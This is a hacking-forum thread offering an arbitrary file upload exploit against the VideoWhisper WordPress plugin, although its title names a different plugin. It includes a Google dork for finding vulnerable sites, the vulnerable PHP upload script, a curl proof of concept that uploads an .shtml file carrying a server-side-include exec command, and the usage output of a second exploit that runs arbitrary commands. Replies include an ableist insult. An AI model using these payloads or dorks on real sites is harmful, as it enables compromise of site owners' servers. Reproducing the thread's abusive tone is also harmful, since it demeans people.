

Forum:[Hack Forums](#)

Thread: [Wordpress PHP Event Calendar Plugin - Arbitrary File Upload](#)

Market - April 6, 2015, 10:25 am

Google Dork: inurl:/videowhisper-video-presentation/vp/vw_upload.php

can be by passed by using the extension .Php but the file extension check would allow files like test.Php.shtml

Quote:<?php

```
if ($_GET["room"]) $room=$_GET["room"];
if ($_POST["room"]) $room=$_POST["room"];
$filename=$_FILES['vw_file']['name'];
include_once("incsan.php");
sanV($room);
if (!$room) exit;
sanV($filename);
if (!$filename) exit;
if (strstr($filename,'.php')) exit; //do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
if ( strstr($filename,"/") || strstr($filename,"..") ) exit;
$destination="uploads/".$room."/";
if ($_GET["slides"]) $destination .= "slides/";
$ext=strtolower(substr($filename,-4));
$allowed=array(".swf",".zip",".rar",".jpg",".jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".m
p3",".flv",".avi",".mpg",".ppt",".pps");
if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination .
$filename);
?>loadstatus=1
CVEID: TBD
OSVDB: TBD
Exploit Code:
videowhis_poc.php
<?php
```

```
$uploadfile="upexp.shtml";
$ch =
```

```
curl_init("http://target_site/wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
    array('vw_file'=>"@$uploadfile",'name'=>'upexp.shtml','room'=>'.'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
```

?>

upexp.shtml

<html>

```
<!--#exec cmd="/usr/bin/date > /tmp/p" -->
```

this is html

</html>

SIM-1241186 - April 6, 2015, 3:16 pm

Dork returns one result, and a 404 at that.

Laughed so hard..

Market - April 6, 2015, 3:58 pm

(Apr 6, 2015 03:16 PM)hackforumspang Wrote: [\[CITE\]](#) Dork returns one result, and a 404 at that.

Laughed so hard..

use your brain and make a dork you autistic plumber.

Soulo - April 6, 2015, 6:24 pm

Lame bug... idk why it's getting so much attention. Nevertheless, given how shitty the PoC provided is, I decided to write my own that doesn't totally blow:

<http://goo.gl/X6fkLy>

```
Code [brad@grsecurity ~]$ python whisper.py
```

VideoWhisper Arbitrary File Upload

super lame exploit for a super lame bug

usage: whisper.py [-h] [-u url] [-c cmd] [-e ext]

optional arguments:

-h, --help show this help message and exit

-u url, --url url URL of host

-c cmd, --cmd cmd command to execute

-e ext, --ext ext extension type (phtml/shtml)

```
[brad@grsecurity ~]$
```

Unlike the PoC provided, my exploit allows shtml as well as phtml uploads. Enjoy.